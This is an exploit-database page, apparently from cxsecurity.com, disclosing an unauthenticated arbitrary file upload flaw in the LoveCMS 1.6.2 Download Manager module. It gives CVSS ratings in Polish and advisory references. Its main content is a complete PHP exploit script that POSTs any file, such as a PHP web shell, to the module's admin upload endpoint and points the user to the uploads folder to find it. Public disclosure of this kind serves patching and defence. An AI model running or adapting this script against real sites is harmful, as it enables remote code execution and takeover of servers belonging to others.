LoveCMS 1.6.2 Final (Download Manager 1.0) File Upload Exploit

2009.08.27
Credit: cOndemned
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-264


Ogólna skala CVSS: 6.8/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 8.6/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

<?php /** * LoveCMS 1.6.2 Final (Download Manager v1.0) Arbitrary File Upload Exploit * Discovered && Exploited by cOndemned * * Download: * http://www.thethinkingman.net/modules/download_manager/?id=16 * * Description: * This exploit allows attacker to upload any type of file [no extension * filtration] ex. php shell... * * Uploader is adding random number on the begining of file name so user * have to check it manually. * * for more information check /modules/download_manager/admin/index.php * lines 10 - 27. * * Greetz: * ZaBeaTy, str0ke, Necro, doctor, sid.psycho, 0in, TBH & Avantura... * */ if($argc != 3) { printf("\n[~] Usage: php %s <target> <localfile>\n", $argv[0]); printf("[~] Ex.: php %s localhost/lovecms shell.php\n\n", $argv[0]); exit; } list($script, $target, $file) = $argv; $xpl = curl_init(); curl_setopt($xpl, CURLOPT_URL, $target . '/modules/download_manager/admin/index.php'); curl_setopt($xpl, CURLOPT_RETURNTRANSFER, true); curl_setopt($xpl, CURLOPT_POST, true); curl_setopt($xpl, CURLOPT_POSTFIELDS, array('file' => '@' . $file, 'submit' => 'Upload')); curl_exec($xpl); curl_close($xpl); printf("[!] Go to the %s/uploads/ and check U'r file :)\n\n", $target); ?>

Referencje:

http://xforce.iss.net/xforce/xfdb/46871
http://www.milw0rm.com/exploits/7233
http://secunia.com/advisories/32825
http://osvdb.org/50276


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top